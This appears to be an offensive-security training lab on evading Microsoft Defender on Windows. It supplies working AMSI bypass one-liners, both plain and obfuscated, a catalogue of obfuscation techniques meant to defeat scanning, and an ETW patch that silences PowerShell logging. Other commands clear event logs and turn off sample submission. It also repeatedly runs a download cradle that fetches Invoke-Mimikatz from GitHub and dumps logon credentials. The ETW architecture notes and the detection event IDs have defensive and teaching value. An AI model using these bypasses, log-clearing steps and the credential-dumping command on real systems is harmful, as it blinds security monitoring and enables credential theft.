  • SubmitSamplesConsent controls how Microsoft Defender submits samples of suspicious or potentially harmful files to Microsoft for analysis. These samples help improve Defender's detection and protection capabilities.

  • NeverSend: This value tells Microsoft Defender to disable all sample submissions. No files will be sent to Microsoft for further analysis, even if they're flagged as suspicious.

Set-MpPreference -SubmitSamplesConsent NeverSend
Consent LevelDescription
0Always Prompt
1Send Safe Samples Automatically
2Never Send

Periodic Scanning

  • The DisableScanningNetworkFiles setting in Microsoft Defender controls whether network files are scanned. When you set DisableScanningNetworkFiles to $true, it disables the scanning of files located on network drives
Set-MpPreference -DisableScanningNetworkFiles $true
  • Before we start let's clear the Powershell and Defender event logs, so there's no noise from before in there. You can do this by opening a Powershell prompt and typing the following command:
wevtutil cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

1.3 TESTING AMSI

  • Now from the same Powershell terminal, let's see if AMSI detects a simply known malicious command such as "Invoke-Mimikatz" - which by the way is not present on disk:
Invoke-Mimikatz
  • We'll see the script won't execute since AMSI intercepted it before executing and has sent it to Defender that scanned it and determined it as malicious:

image

  • We can check this in Powershell with the following command:
Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1
  • Let's have a look at the Windows Powershell Event logs - open ELEX (EventLog Explorer), select "Application and Services Logs", "Microsoft","Windows", "Powershell" and finally "Operational".

image

  • We can also confirm it was AMSI that blocked this by having a look at the Windows Defender Event logs - open ELEX (EventLog Explorer), select "Application and Services Logs", "Microsoft","Windows", "Windows Defender" and finally "Operational".

image

What Triggers an AMSI Script Block Scan in Powershell?

AMSI Maintains a list of "dirty words" that are a hardcoded list of strings in Powershell's System.Management.Automation.dll, stored in the signatures field of the System.Management.Automation.ScriptBlock class. These are keywords or patterns (e.g., "Invoke-Expression", "WebClient") that Powershell considers potentially malicious, triggering AMSI to scan the script content.

Purpose: They act as a first-pass filter to identify suspicious script elements (e.g., commands, methods, or patterns common in malware) before AMSI sends the content to an antimalware provider like Windows Defender for deeper analysis.

Access: You can extract these using reflection in Powershell, [ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null).

Limitations: These are Powershell-specific heuristics, not the full set of AMSI signatures (e.g., Defender's cloud-based or local signatures in MpSvc.dll). They're a subset designed for script preprocessing, not comprehensive malware detection.

[ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null)

image

Key Insight: Powershell's AMSI integration (via System.Management.Automation.dll) scans all input (scripts, interactive commands, and dynamic code) by default, not just content containing the hardcoded "dirty words" in ScriptBlock.signatures (e.g., Invoke-Expression, WebClient).

How It Works: When you type Invoke-Mimikatz in a Powershell console, the command is processed as a ScriptBlock and sent to AMSI's AmsiScanString API for analysis, regardless of whether it matches a dirty word. The dirty words list is a supplementary filter to prioritize suspicious content, but AMSI scans everything to ensure comprehensive coverage.

Why This Happens: Microsoft designed AMSI to be proactive, passing all Powershell input to the antimalware provider (e.g., Windows Defender) for real-time scanning. Defender then checks the input against its extensive signature database, which includes specific patterns like Invoke-Mimikatz.

OK, so now what?

1.4 BYPASSING AMSI - HOW IT WORKS

  • Let's clear the Powershell/Defender event logs again:
wevtutil cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

Luckily there are a ton of AMSI bypasses publicly available:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

image

And there's even a convenient cloud-based AMSI generator called AMSI.fail:

https://amsi.fail/

image

And here's another one:

https://shaquibizhar.github.io/Amsi-bypass-generator/

image

In this lab we'll be using "Matt Graebers Reflection method", it's a simple one-liner which uses reflection to set the amsiInitFailed field to $true. Let's have a look how it works before we implement it.

"Matt Graebers Reflection method"

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Understanding the Technique

How it Works in Powershell:

  1. Reflection: The core of this bypass relies on .NET reflection, which allows code to inspect and modify types, fields, and methods at runtime.
  2. Targeting amsiInitFailed: The code specifically targets the amsiInitFailed static field within the System.Management.Automation.AmsiUtils class. This field is used to indicate whether the AntiMalware Scan Interface (AMSI) initialization has failed.
  3. Setting to $true: By setting this field to $true, the code effectively tells the .NET runtime that AMSI initialization has failed, causing AMSI scans to be skipped.

image

1.5 BYPASSING AMSI

  • Let's see if Matt Graeber's (very old) technique works...

  • On your Windows machine, open a Powershell prompt and paste the following:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

image

Dang! It didn't work! Obviously AMSI is scanning this script block before allowing it to execute - below is the YARA RULE (signature) from Defender responsible for this. We'll explain later what YARA is and how we got this rule (maybe).

  • The yara rule can be found in "C:\THEV\Labs\AMSI\PsAttack.yara".

image

When we translate the UTF-16 string translated to ASCII we get these:

String NameASCII Translation
$x_1_1amsiutils getfield( amsiinitfailed
$x_1_2amsicontext [reflection.bindingflags
$x_1_3[ref].assembly.gettype(system.management.automation.amsiutils
$x_1_4amsiutils .getfield( amsicontext
  • The 2 strings marked in red match on our one-liner, but as you can also see these strings are pretty long, what happens if we simply make some changes to break the signature?

1.6 INVOKE-OBFUSCATION

  • Install invoke-obfuscation from github:
cd c:\thev
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
  • In order to run InvokeObfuscation we need to turn Defender off again temporarily, so it doesn't block our one-liner.

IMPORTANT: Make sure Real-Time Protection is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_disable.ps1
  • The output should be like this:

image

cd c:\thev\invoke-obfuscation
import-module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptBlock { [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) } -Command 'TOKEN\STRING\1,TOKEN\STRING\2,TOKEN\MEMBER\1,TOKEN\VARIABLE\1'

This applies:

  • String concatenation (STRING\1).

  • String formatting with -f (STRING\2).

  • Backtick insertion for methods (MEMBER\1).

  • Variable name randomization (VARIABLE\1).

  • The obfuscated output will be something like this:

image

  • Let's turn Defender on again so we can test if we can bypass AMSI.

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_enable.ps1
  • The output should be like this:

image

  • You can find the obfuscated AMSI Bypass script below in your C:\THEV\Labs\AMSI\ folder, but you can just execute it as oneliner as well.

AMSIBypass.ps1

image

  • Let's see if we run the oneliner in a Powershell and see if Defender still detects it as malicious, and if we can now bypass AMSI.

  • On your Windows machine, open a Powershell prompt with Administrator privileges:

AMSIBypassOneliner.ps1

[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

image

  • Defender didn't trigger, but did we bypass AMSI successfully? Let's test again with "invoke-mimikatz" - you'll now see an error that says that the term "invoke-mimikatz" is not recognized, which is normal as it's not locally on the disk, nor loaded into the memory of Powershell. This also means AMSI is not scanning any longer! Success!
invoke-mimikatz

image

  • And yes Defender and AMSI are still on:
C:\thev\labs\powershell\av_check.ps1

image

  • Finally let's do an ultimate test and run invoke-mimikatz in-memory by using IEX (Invoke Expression)
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

image

This concludes our AMSI bypass lab, we successfully bypassed AMSI in Powershell using a simple one-liner that we obfuscated using Invoke-Obfuscation.

CLEANUP

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1.7 REFERENCE: POWERSHELL OBFUSCATION TECHNIQUES (INVOKE-OBFUSCATION)

List of PowerShell Obfuscation Techniques

Below are some common PowerShell obfuscation techniques that can be used to evade AMSI detection, along with examples and explanations of how they work. After each example, you can check the Defender logs to see if AMSI detected the obfuscated command.

1. Backtick (`) Character for Line Continuation

  • Description: The backtick () is PowerShell's escape character, used to continue a command across multiple lines or escape special characters. In obfuscation, it breaks up strings or commands to make them harder to read or match against signatures (e.g., AMSI's detection of Invoke-Mimikatz`).
  • Example:
    $cmd = "Invo`ke-Mi`mikatz"
    & $cmd
    
    • Explanation: The backtick splits Invoke-Mimikatz across lines, and concatenation reconstructs it. This can evade simple string matching by AMSI, though modern AMSI may still detect the final executed string.

2. String Concatenation

  • Description: Combining multiple string fragments to form a command or keyword, avoiding direct use of sensitive terms (e.g., AmsiUtils). This breaks up detectable patterns and is often paired with other techniques like backticks.
  • Example:
    $part1 = "Invo"
    $part2 = "ke-Mimi"
    $part3 = "katz"
    $command = $part1 + $part2 + $part3
    Invoke-Expression $command
    
    • Explanation: Concatenates Invoke-Mimikatz from fragments, executed via Invoke-Expression. AMSI may still detect the final script block if it reconstructs the string.

3. Base64 Encoding

  • Description: Encodes a script or command as a Base64 string, which is decoded and executed at runtime using FromBase64String or PowerShell's -EncodedCommand parameter. This hides the script's content in a non-readable format.
  • Example:
    $base64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Write-Output "Invoke-Mimikatz"'))
    $script = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))
    Invoke-Expression $script
    
    • Explanation: Encodes Write-Output "Invoke-Mimikatz" as Base64, decodes, and executes it. AMSI may scan the decoded script block, so this alone may not bypass detection.

4. String Replacement

  • Description: Replaces parts of a string with alternative characters or substrings at runtime to reconstruct a command, avoiding direct use of sensitive keywords.
  • Example:
    $cmd = "Xnvokx-MxmXkXtz"
    $cmd = $cmd -replace 'X', 'i' -replace 'x', 'e' -replace 'X', 'a'
    Invoke-Expression $cmd
    
    • Explanation: Replaces placeholders to form Invoke-Mimikatz. This can evade static analysis, but AMSI may detect the final string after replacement.

5. Character Encoding (ASCII/Unicode)

  • Description: Represents characters using their ASCII or Unicode values, constructing strings dynamically to avoid literal keywords.
  • Example:
    $cmd = [char]73 + [char]110 + [char]118 + [char]111 + [char]107 + [char]101 + '-' + [char]77 + [char]105 + [char]109 + [char]105 + [char]107 + [char]97 + [char]116 + [char]122
    Invoke-Expression $cmd
    
    • Explanation: Uses ASCII values (e.g., 73 = I, 110 = n) to build Invoke-Mimikatz. This is harder to read but may still be detected by AMSI after execution.

6. Variable Name Obfuscation

  • Description: Uses random, complex, or misleading variable names to obscure the script's purpose, making it harder for analysts to understand.
  • Example:
    $x7a9pQ = "Invoke-Mimikatz"
    &$x7a9pQ
    
    • Explanation: Assigns Invoke-Mimikatz to a random variable name and executes it. This doesn't evade AMSI but complicates manual analysis.

7. Invoke-Expression (Dynamic Execution)

  • Description: Uses Invoke-Expression (or aliases like iex) to execute dynamically constructed strings, hiding the final command until runtime.
  • Example:
    $cmd = "Write" + "-Output 'Invoke-Mimikatz'"
    Invoke-Expression $cmd
    
    • Explanation: Builds and executes a command dynamically. AMSI scans the final script block, so this alone may not bypass detection.

8. Splatting

  • Description: Uses a hashtable to pass parameters or commands, obscuring the command structure by breaking it into key-value pairs.
  • Example:
    $splat = @{
        Cmdlet = "Write-Output"
        Argument = "Invoke-Mimikatz"
    }
    & $splat.Cmdlet $splat.Argument
    
    • Explanation: Executes Write-Output "Invoke-Mimikatz" via splatting. This obscures the command but doesn't prevent AMSI from scanning the final script block.

9. Format Operator (-f)

  • Description: Uses the -f operator to format strings dynamically, constructing commands or keywords from placeholders.
  • Example:
    $cmd = "{0}-{1}" -f "Invoke", "Mimikatz"
    Invoke-Expression $cmd
    
    • Explanation: Formats Invoke-Mimikatz using -f. AMSI may detect the final string after formatting.

10. Obfuscated String Splitting

  • Description: Splits a string into substrings and reassembles it at runtime, often using arrays or random splits to avoid detection.
  • Example:
    $parts = @("In", "vo", "ke-", "Mimi", "katz")
    $cmd = $parts -join ""
    Invoke-Expression $cmd
    
    • Explanation: Splits Invoke-Mimikatz into an array and joins it. This can evade static analysis, but AMSI scans the joined string.

11. XOR Encoding

  • Description: Applies XOR operations to encode strings, decoding them at runtime with a key to reconstruct the original command.
  • Example:
    $key = 0x42
    $encoded = [byte[]]@(0x2f, 0x38, 0x3f, 0x37, 0x2b, 0x65, 0x20, 0x29, 0x3c, 0x3c, 0x2b, 0x2a, 0x38, 0x3d)
    $decoded = $encoded | ForEach-Object { $_ -bxor $key }
    $cmd = [Text.Encoding]::ASCII.GetString($decoded)
    Invoke-Expression $cmd  # Decodes to "Invoke-Mimikatz"
    
    • Explanation: XOR-encodes Invoke-Mimikatz, decodes at runtime. This is harder to detect statically, but AMSI may scan the decoded string.

12. Environment Variable Substitution

  • Description: Uses environment variables to store parts of a command, substituting them at runtime to build the script.
  • Example:
    $env:PART1 = "Invoke"
    $env:PART2 = "Mimikatz"
    $cmd = "$env:PART1-$env:PART2"
    Invoke-Expression $cmd
    
    • Explanation: Stores Invoke and Mimikatz in environment variables. This spreads the command across system state, but AMSI scans the final script block.

13. Comment Injection

  • Description: Inserts comments or irrelevant code to obscure the script's logic, making it harder to analyze manually.
  • Example:
    # This is a harmless script
    $cmd = "Invoke-Mimikatz" # Just a test
    # Some unrelated comment
    &$cmd
    
    • Explanation: Adds comments to distract analysts. Doesn't evade AMSI but complicates human review.

14. Randomized Case (Mixed Case)

  • Description: Uses mixed upper and lower case for commands or strings to avoid exact string matches.
  • Example:
    $cmd = "iNvOkE-mImIkAtZ"
    Invoke-Expression $cmd
    
    • Explanation: Randomizes case for Invoke-Mimikatz. PowerShell is case-insensitive, so this executes, but AMSI normalizes case for detection.

15. Pipeline Obfuscation

  • Description: Uses complex pipelines with ForEach-Object, Where-Object, or other cmdlets to obscure command construction.
  • Example:
    $parts = @("Invoke", "Mimikatz")
    $cmd = $parts | ForEach-Object { $_ } | Join-String -Separator "-"
    Invoke-Expression $cmd
    
    • Explanation: Builds Invoke-Mimikatz through a pipeline. This adds complexity but doesn't prevent AMSI from scanning the final string.

16. Compressed Scripts

  • Description: Compresses a script using System.IO.Compression (e.g., Deflate or GZip), decompressing and executing it at runtime.
  • Example:
    $script = 'Write-Output "Invoke-Mimikatz"'
    $bytes = [Text.Encoding]::Unicode.GetBytes($script)
    $ms = New-Object IO.MemoryStream
    $cs = New-Object IO.Compression.DeflateStream($ms, [IO.Compression.CompressionMode]::Compress)
    $cs.Write($bytes, 0, $bytes.Length)
    $cs.Close()
    $compressed = $ms.ToArray()
    $ms.Close()
    # Decompress and execute
    $ms = New-Object IO.MemoryStream(,$compressed)
    $ds = New-Object IO.Compression.DeflateStream($ms, [IO.Compression.CompressionMode]::Decompress)
    $reader = New-Object IO.StreamReader($ds)
    $decompressed = $reader.ReadToEnd()
    Invoke-Expression $decompressed
    
    • Explanation: Compresses the script, decompresses, and executes. This hides the script statically, but AMSI scans the decompressed script block.

17. Reflection-Based Obfuscation

  • Description: Uses .NET reflection to access and execute commands or types dynamically, avoiding direct cmdlet names.
  • Example:
    $type = [Type]::GetType("System.Management.Automation.PowerShell")
    $ps = $type::Create()
    $cmd = "Invoke-Mimikatz"
    $ps.AddScript($cmd).Invoke()
    
    • Explanation: Uses reflection to invoke PowerShell commands. This is complex but still subject to AMSI scanning of the script block.

18. Whitespace Obfuscation

  • Description: Adds excessive whitespace, tabs, or newlines to make the script harder to read without changing functionality.
  • Example:
    $cmd      =      "Invoke-Mimikatz"
    &     $cmd
    
    • Explanation: Adds whitespace to obscure the script. Doesn't evade AMSI but complicates manual analysis.

ETW - EVENT TRACING FOR WINDOWS

TL;DR ETW basically is a kernel level debug logging mechanism in Windows - it allows to gather advanced telemetry about functions being called. Windows Event Logs contain a subset of ETW events. Typically used by application developers to debug programs, but has found its way as a telemetry source for EDR's.

Event Tracing for Windows (ETW) is a high speed tracing facility built into Windows. Using a buffering and logging mechanism implemented in the operating system kernel, ETW provides an infrastructure for events raised by both user mode (apps) and kernel mode components (drivers). ETW can be used for system and app diagnosis, troubleshooting, and performance monitoring.

1. ETW ARCHITECTURE

Screenshot https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw

Provider A provider is an instrumented component that generates events. A provider can be a user mode app, a kernel mode driver, or the Windows kernel itself. In addition to fixed event data (header), an event can carry user data.

An event is an event-based representation of data. The data can be used for in-depth analysis. An event can also be used to produce counters. Counters provide a sample-based view of data. They typically contain a small set of data to show current state, for example I/O bytes per second and interrupts per second.

A provider must register with ETW and send events by calling the ETW Logging APIs. Providers register a callback function for enable and disable notifications so that tracing can be enabled and disabled dynamically.

Session The ETW session infrastructure works as an intermediate broker that relays the events from one or more providers to the consumer. A session is a kernel object that collects events into kernel buffer and sends them to a specified file or real-time consumer process. Multiple providers can be mapped to a single session, which allows users to collect data from multiple sources.

Controller A controller starts, stops, or updates a trace session. A session is a unit for tracing. Providers are mapped (or enabled) to a specific session. A controller enables and disables providers so that they can start sending events to ETW. Controller functionalities can be invoked with tools provided by Microsoft or you can write your own app.

Logman.exe is an in-box controller app. Windows Performance Recorder (WPR) in the Windows Performance Toolkit is the recommended controller process.

Consumer A consumer is an app that reads a logged trace file (ETL file) or captures events in an active trace session in real time, and processes events. Event Viewer and Resource Monitor are in-box ETW consumer apps.

Windows Performance Analyzer (WPA) in the Windows Performance Toolkit is the recommended consumer process.

To see which ETW providers are running on the system

logman query -ets

Screenshot

But there are a lot more ETW providers available:

Screenshot

2. INTERESTING ETW PROVIDERS

USER MODE providers log very detailed information, scriptblock logging. Processes in user land will use ETWEventWrite and ... to write to the user mode ETW Provider (Microsoft-Windows-Powershell), the windows eventlog service subscribes to this ETW provider and writes the events to the event-log. This can be tampered with.

KERNEL MODE Providers have limitations on what they can log, they focus more on process creation, network connection, command line parameters (like SYSMON telemetry), but are harder to bypass.

  • Microsoft-Windows-Kernel-Process
  • Microsoft-Windows-DotNETRuntime
  • Microsoft-Windows-Threat-Intelligence (only acessible to AV/EDR vendors...)
  • Microsoft-Windows-Defender
  • Microsoft-Windows-PowerShell
  • Microsoft-Windows-Kernel-Audit-API-Calls

3. MICROSOFT-WINDOWS-THREAT-INTELLIGENCE ETW PROVIDER

KEY POINTS:

  • Microsoft-Windows-Threat-Intelligence is a "Secure ETW Channel" provider, inaccessible to regular user-mode processes—even with elevated rights or running as SYSTEM. This specific provider is protected and designed for use only by trusted components in Windows security architecture.

  • Only processes or services running with SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT/PS_PROTECTED_ANTIMALWARE_LIGHT protection level, and signed using the Microsoft Early Launch Anti Malware (ELAM) certificate, can subscribe to or receive data from this provider.

  • This restriction is intentional and enforced by Windows to prevent tampering and unauthorized access to sensitive security event streams. The pipeline is typically accessible only to select, Microsoft-approved endpoint protection or antivirus solutions.

Attempts to set up ETW collection for this provider using regular tools (such as logman or third-party collectors) will fail with "Access is denied" or will produce empty traces due to the enforced provider access control

Microsoft Defender for Endpoint (MDE) does operate with the required Early Launch Antimalware (ELAM) driver and uses the Protected Antimalware Process (PPL/ELAM) mechanism—just like Microsoft Defender Antivirus (MsMpEng.exe).

Official Documentation and Requirements for Microsoft-Windows-Threat-Intelligence ETW Provider Access:

  • ELAM is Required for MDE: Documentation for Microsoft Defender for Endpoint specifically notes that, for full functionality and onboarding, the Early Launch Antimalware (ELAM) driver must be enabled. This applies to all core supported Windows platforms.

  • Protection Level: When Microsoft Defender Antivirus is present (the core engine leveraged by MDE for scanning, telemetry, and protection), it runs with ELAM protection (PS_PROTECTED_ANTIMALWARE_LIGHT/SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT) and uses the ELAM-signed WdBoot.sys driver, providing the elevated security context needed.

  • Access to Sensitive ETW Providers: This protected status allows Microsoft's antimalware (Defender for Endpoint, via MsMpEng.exe and associated drivers/services) to subscribe to security-critical ETW sources (including Microsoft-Windows-Threat-Intelligence), which are inaccessible to standard administrators, SYSTEM, or non-ELAM third-party software.

  • Onboarding and Policy: If Defender Antivirus is not the active antimalware (for example, third-party AV is present), the ELAM driver is still required—in "passive mode" — for MDE to function and report security and threat events. Disabling ELAM, or blocking Defender policies, will cause error states and block Defender for Endpoint telemetry.

  • Conclusion: Microsoft Defender for Endpoint (MDE) runs components (notably MsMpEng.exe) at the required protected antimalware process level (PPL/ELAM) and with ELAM driver support. This ensures it can access protected event sources and kernel telemetry channels, which is foundational for its advanced endpoint detection and response features

Only other processes with at least the same or higher protection level and proper Microsoft-signed/ELAM-signed binaries can interact with it beyond basic operations. Even if malware or a user gets SYSTEM rights, they cannot inject into or tamper with this process unless they are running with the same trust/signature leve

screenshot screenshot

The following command shows the telemetry of the Microsoft-Windows-Threat-Intelligence ETW provider:

wevtutil gp Microsoft-Windows-Threat-Intelligence
Task / ETW FunctionalityDescriptionMonitored NTDLL Function(s)
Allocating Virtual Memory (AllocVM)Allocates (remote/local) memoryNtAllocateVirtualMemory
NtMapViewOfSection
Changing Memory Protection (ProtectVM)Changes protection on memoryNtProtectVirtualMemory
Mapping Process/View (MapView)Maps sections to address spacesNtMapViewOfSection
Writing Virtual Memory (WriteVM)Writes to virtual memoryNtWriteVirtualMemory
Reading Virtual Memory (ReadVM)Reads from virtual memoryNtReadVirtualMemory
Queueing Asynchronous Procedure Calls (APC)Queues APCs to threadsNtQueueApcThread
NtQueueApcThreadEx
Setting Thread ContextModifies thread execution contextNtSetContextThread
Suspending/Resuming ThreadSuspends/resumes threadsNtSuspendThread
NtResumeThread
Suspending/Resuming ProcessSuspends/resumes processesNtSuspendProcess
NtResumeProcess
Driver/Device InteractionInteracts with kernel drivers/devicesNtDeviceIoControlFile

You can also query it with logman:

logman query providers Microsoft-Windows-Threat-Intelligence

image

So let's do a deep dive on what ETW can see in Powershell by using logman to collect events to PowerShellTrace.etl.

You can search the available ETW providers like this:

logman  query providers | select-string "powershell"

Screenshot

And get detailed information like this:

logman query providers Microsoft-Windows-PowerShell

Screenshot

We can set up an ETW tracing session (Don't do this now, we will do this in later labs) for the Powershell provider like this:

logman create trace PowerShellTrace -p Microsoft-Windows-PowerShell -o PowerShellTrace.etl -ets
logman -ets

This will create an event trace log (.etl file), which we can then convert to txt, csv or even evtx (windows event log format), any commands we run will be collected. In the same Powershell console you just ran the create trace command, run some Powershell commands:

$pid
get-process

IMPORTANT: After running our commands, stop the Powershell event trace session and remove it (otherwise this keep collecting logs, this will fill up your disk eventually as the trace session continues to run in the background and is very verbose):

logman stop PowerShellTrace -ets
Remove-EtwTraceSession -Name PowerShellTrace

Screenshot

  • Real-Time Tracing: -ets enables the command to interact with an ETW session, which collects events in real time from the specified provider and writes them to the output file (e.g., .etl).
  • Session Management: It ensures that the logman command is applied to an ETW session rather than other logman operations (e.g., performance counters or data collectors).
  • Non-Persistent: By default, ETW sessions created with -ets are temporary and stop when the command is terminated or the system restarts, unless configured for persistence.

4. ETW PATCHING IN .NET BINARIES VS POWERSHELL

Powershell Patch:

  • Uses reflection to modify the PSEtwLogProvider within the Powershell process.
  • Specifically targets how Powershell logs events.
  • Limited to the Powershell process.
  • Executed as a Powershell command.
  • Targets the Powershell ETW logging mechanism.

.NET Binary Patch (C# Example):

  • Compiles into a standalone .NET executable.
  • Uses reflection to directly modify the EventProvider class within the running .NET binary.
  • Can patch ETW logging for any .NET application that uses the standard .NET EventProvider class, if the correct EventProvider instance can be located.
  • Can affect any .NET application.
  • Executed as a compiled executable.
  • Targets the EventProvider class, allowing it to target any .NET application using that class.

Key Differences and Implications:

  • Scope:
    • Powershell patch: Limited to the Powershell process.
    • .NET binary patch: Can affect any .NET application, if the correct event provider can be located.
  • Execution Context:
    • Powershell patch: Executed as a Powershell command.
    • .NET binary patch: Executed as a compiled executable.
  • Targeting:
    • Powershell patch: Targets the Powershell ETW logging.
    • .NET binary patch: Targets the event provider class, so it can target any .NET application that uses that class.

In summary: Later on when we're going to write our shellcode loader in C# we'll use a more general-purpose ETW patching mechanism that can be used independently of Powershell, while the Powershell one-liner is specific to the Powershell environment. For now it's just important to understand that both patches achieve similar goals (disabling ETW logging) but operate in different contexts and scopes.

1. LAB - POWERSHELL, BYPASSING AMSI AND ETW

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 TURN DEFENDER ON

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

  • Check if Defender is turned ON by running the checkav.ps1 script on your Windows machine by opening a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_check.ps1
  • The output should be like this:

image

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, from a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_enable.ps1
  • The output should be like this :

image

1.2 PREPARING OUR LAB ENVIRONMENT

IMPORTANT: Close your previous powershell windows as they have been patched in the previous lab - and AMSI won't trigger in this lab otherwise.

  • Before we start let's clear the PowerShell event logs, so there's no noise from before in there. You can do this by opening a PowerShell console and typing the following command:

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

We're going to start with a brief AMSI repeater, so we properly understand how it works, and then we'll move on to patching ETW (Event Tracing for Windows) as well. Bypassing AMSI doesn't disable eventlogs - which are useful telemetry for EDR's, SIEM's and UEBA's.

  • Now from the same Powershell terminal, run Mimikatz from memory with IEX (Invoke Expression)
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

We'll see the script won't execute since AMSI intercepted it before executing and has sent it to Defender that scanned it and determined it as malicious:

image

Let's have a look at the EventViewer logs - open EventViewer, select "Application and Services Logs", "Microsoft","Windows", "Powershell" and finally "Operational".

image

OK, so now what? Let's bypass AMSI!

  • On your Windows machine, open a PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

image

Now let's try that Invoke-MimiKatz again, if all goes well, AMSI should be patched and the script will run:

  • From the same Powershell terminal (with the applied AMSI patch), run MimiKatz from memory with IEX (Invoke Expression)
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Success!!!

We now run into the fact that the powershell event logs are still being generated, and this is telemetry that EDR's, SIEM's and UEBA's use to detect malicious activity.

If you check the powershell logs with eventviewer again, you will see the AMSI bypass and the Invoke-Mimikatz commands logged.

  • A very cool Forensics tool that can analyze PowerShell logs is PowerShell-Hunter (https://github.com/MHaggis/PowerShell-Hunter) - if we run this on our PowerShell logs it will also flag some suspicious commands.

  • Ideally we don't want any of these logs to be generated and thus shutting off the telemetry for security solutions, we can do this by patching ETW (Event Tracing for Windows).

  • Let's clear the PowerShell event logs again before we apply the ETW bypass (remember AMSI is already patched so this ETW bypass doesn't need to be obfuscated):

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

DETECTIONS Eventlog 800, 4103, 4104

1.3 BYPASSING ETW IN POWERSHELL

To disable ETW logging in the current PowerShell session, you can use the following PowerShell command. This command uses reflection to modify internal .NET fields that control ETW logging.

  • On your Windows machine, open a new PowerShell prompt with Administrator privileges:

Below is a one-liner that disables ETW logging in the current PowerShell session:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

image

This oneliner gets detected by AMSI, so either we patch AMSI first, or we obfuscate this command with Invoke-Obfuscation. It's probably a good idea to obfuscate it anyway (you can do this with Invoke-Obfuscation just like we did with AMSI before), since this is a well-known technique, and running the ETW patch first will disable the ETW logging for the AMSI patch as well, so we won't see any logs from that!

Let's break down what this command does:

  • [Reflection.Assembly]::LoadWithPartialName('System.Core'):
    • Loads the System.Core.dll assembly, containing core .NET classes, including System.Diagnostics.Eventing.EventProvider.
  • .GetType('System.Diagnostics.Eventing.EventProvider'):
    • Retrieves the System.Diagnostics.Eventing.EventProvider type, responsible for emitting ETW events.
  • .GetField('m_enabled','NonPublic,Instance'):
    • Retrieves the m_enabled field of the EventProvider class, a non-public instance field that determines whether ETW events are enabled.
  • .SetValue(...):
    • Sets the value of the m_enabled field.
  • [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider'):
